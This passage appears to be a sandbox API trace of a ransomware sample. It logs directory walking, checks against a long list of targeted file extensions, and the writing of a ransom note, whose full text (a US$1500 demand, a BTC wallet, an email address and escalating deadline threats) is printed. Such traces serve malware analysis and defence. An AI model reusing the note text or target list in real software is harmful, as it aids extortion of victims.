Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.docm") returned 0 [0086.762] lstrlenA (lpString="*.docm") returned 6 [0086.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.xlsm") returned 0 [0086.762] lstrlenA (lpString="*.xlsm") returned 6 [0086.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.dwg") returned 0 [0086.763] lstrlenA (lpString="*.dwg") returned 5 [0086.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.nd") returned 0 [0086.763] lstrlenA (lpString="*.nd") returned 4 [0086.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.tlg") returned 0 [0086.763] lstrlenA (lpString="*.tlg") returned 5 [0086.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.lgb") returned 0 [0086.763] lstrlenA (lpString="*.lgb") returned 5 [0086.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.mov") returned 0 [0086.763] lstrlenA (lpString="*.mov") returned 5 [0086.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.xdw") returned 0 [0086.763] lstrlenA (lpString="*.xdw") returned 5 [0086.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.ods") returned 0 [0086.763] lstrlenA (lpString="*.ods") returned 5 [0086.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.wav") returned 0 [0086.763] lstrlenA (lpString="*.wav") returned 5 [0086.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.mp3") returned 0 [0086.763] lstrlenA (lpString="*.mp3") returned 5 [0086.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.aiff") returned 0 [0086.763] lstrlenA (lpString="*.aiff") returned 6 [0086.764] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.flac") returned 0 [0086.764] lstrlenA (lpString="*.flac") returned 6 [0086.764] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.m4a") returned 0 [0086.764] lstrlenA (lpString="*.m4a") returned 5 [0086.764] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.csv") returned 0 [0086.764] lstrlenA (lpString="*.csv") returned 5 [0086.764] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0086.764] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0086.764] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="VB18B0KB", cAlternateFileName="")) returned 1 [0086.764] lstrcmpA (lpString1=".", lpString2="VB18B0KB") returned -1 [0086.764] lstrcmpA (lpString1="..", lpString2="VB18B0KB") returned -1 [0086.764] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\*.*") returned="*.*" [0086.764] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\", lpString2="VB18B0KB" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB" [0086.764] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB") returned 94 [0086.764] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0086.765] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.765] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.765] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.765] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.765] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.765] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0086.765] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0086.765] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0086.765] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0086.765] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\*.*") returned="*.*" [0086.765] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\" [0086.765] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\") returned="" [0086.765] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\HOW TO DECRYPT FILES.txt" [0086.765] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\vb18b0kb\\how to decrypt files.txt")) returned 0xffffffff [0086.766] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\vb18b0kb\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0086.767] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0086.767] WriteFile (in: hFile=0x9c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0086.768] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.768] CloseHandle (hObject=0x9c) returned 1 [0086.768] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini" [0086.768] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.ems") returned 0 [0086.768] lstrlenA (lpString="*.ems") returned 5 [0086.768] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.db") returned 0 [0086.768] lstrlenA (lpString="*.db") returned 4 [0086.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.dbf") returned 0 [0086.769] lstrlenA (lpString="*.dbf") returned 5 [0086.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.myox") returned 0 [0086.769] lstrlenA (lpString="*.myox") returned 6 [0086.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.myo") returned 0 [0086.769] lstrlenA (lpString="*.myo") returned 5 [0086.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.qbw") returned 0 [0086.769] lstrlenA (lpString="*.qbw") returned 5 [0086.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.qbb") returned 0 [0086.769] lstrlenA (lpString="*.qbb") returned 5 [0086.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.qbm") returned 0 [0086.769] lstrlenA (lpString="*.qbm") returned 5 [0086.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.qbo") returned 0 [0086.769] lstrlenA (lpString="*.qbo") returned 5 [0086.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.qbx") returned 0 [0086.769] lstrlenA (lpString="*.qbx") returned 5 [0086.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.qba") returned 0 [0086.769] lstrlenA (lpString="*.qba") returned 5 [0086.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.qby") returned 0 [0086.769] lstrlenA (lpString="*.qby") returned 5 [0086.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.qbj") returned 0 [0086.769] lstrlenA (lpString="*.qbj") returned 5 [0086.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.ofx") returned 0 [0086.770] lstrlenA (lpString="*.ofx") returned 5 [0086.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.qif") returned 0 [0086.770] lstrlenA (lpString="*.qif") returned 5 [0086.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.mye") returned 0 [0086.770] lstrlenA (lpString="*.mye") returned 5 [0086.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.mbox") returned 0 [0086.770] lstrlenA (lpString="*.mbox") returned 6 [0086.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.eml") returned 0 [0086.770] lstrlenA (lpString="*.eml") returned 5 [0086.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.pst") returned 0 [0086.770] lstrlenA (lpString="*.pst") returned 5 [0086.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.ost") returned 0 [0086.770] lstrlenA (lpString="*.ost") returned 5 [0086.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.idx") returned 0 [0086.770] lstrlenA (lpString="*.idx") returned 5 [0086.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.dbx") returned 0 [0086.770] lstrlenA (lpString="*.dbx") returned 5 [0086.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.sql") returned 0 [0086.770] lstrlenA (lpString="*.sql") returned 5 [0086.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.mdb") returned 0 [0086.770] lstrlenA (lpString="*.mdb") returned 5 [0086.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.fdb") returned 0 [0086.770] lstrlenA (lpString="*.fdb") returned 5 [0086.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.wab") returned 0 [0086.771] lstrlenA (lpString="*.wab") returned 5 [0086.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.dat") returned 0 [0086.771] lstrlenA (lpString="*.dat") returned 5 [0086.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.txt") returned 0 [0086.771] lstrlenA (lpString="*.txt") returned 5 [0086.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.jpeg") returned 0 [0086.771] lstrlenA (lpString="*.jpeg") returned 6 [0086.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.jpg") returned 0 [0086.771] lstrlenA (lpString="*.jpg") returned 5 [0086.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.png") returned 0 [0086.771] lstrlenA (lpString="*.png") returned 5 [0086.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.php") returned 0 [0086.771] lstrlenA (lpString="*.php") returned 5 [0086.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.cs") returned 0 [0086.771] lstrlenA (lpString="*.cs") returned 4 [0086.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.cpp") returned 0 [0086.771] lstrlenA (lpString="*.cpp") returned 5 [0086.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.rar") returned 0 [0086.771] lstrlenA (lpString="*.rar") returned 5 [0086.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.zip") returned 0 [0086.772] lstrlenA (lpString="*.zip") returned 5 [0086.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.html") returned 0 [0086.772] lstrlenA (lpString="*.html") returned 6 [0086.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.htm") returned 0 [0086.772] lstrlenA (lpString="*.htm") returned 5 [0086.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.xlsx") returned 0 [0086.772] lstrlenA (lpString="*.xlsx") returned 6 [0086.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.xls") returned 0 [0086.772] lstrlenA (lpString="*.xls") returned 5 [0086.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.mp4") returned 0 [0086.772] lstrlenA (lpString="*.mp4") returned 5 [0086.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.ppt") returned 0 [0086.772] lstrlenA (lpString="*.ppt") returned 5 [0086.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.pptx") returned 0 [0086.772] lstrlenA (lpString="*.pptx") returned 6 [0086.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.doc") returned 0 [0086.772] lstrlenA (lpString="*.doc") returned 5 [0086.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.dot") returned 0 [0086.772] lstrlenA (lpString="*.dot") returned 5 [0086.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.docx") returned 0 [0086.772] lstrlenA (lpString="*.docx") returned 6 [0086.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.7z") returned 0 [0086.772] lstrlenA (lpString="*.7z") returned 4 [0086.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.tar") returned 0 [0086.772] lstrlenA (lpString="*.tar") returned 5 [0086.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.bz2") returned 0 [0086.772] lstrlenA (lpString="*.bz2") returned 5 [0086.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.gz") returned 0 [0086.773] lstrlenA (lpString="*.gz") returned 4 [0086.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.mkv") returned 0 [0086.773] lstrlenA (lpString="*.mkv") returned 5 [0086.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.eml") returned 0 [0086.773] lstrlenA (lpString="*.eml") returned 5 [0086.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.msg") returned 0 [0086.773] lstrlenA (lpString="*.msg") returned 5 [0086.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.edb") returned 0 [0086.773] lstrlenA (lpString="*.edb") returned 5 [0086.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.accdb") returned 0 [0086.773] lstrlenA (lpString="*.accdb") returned 7 [0086.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.odb") returned 0 [0086.773] lstrlenA (lpString="*.odb") returned 5 [0086.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini", pszSpec="*.java") returned 0 [0086.773] lstrlenA (lpString="*.java") returned 6 [0086.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet 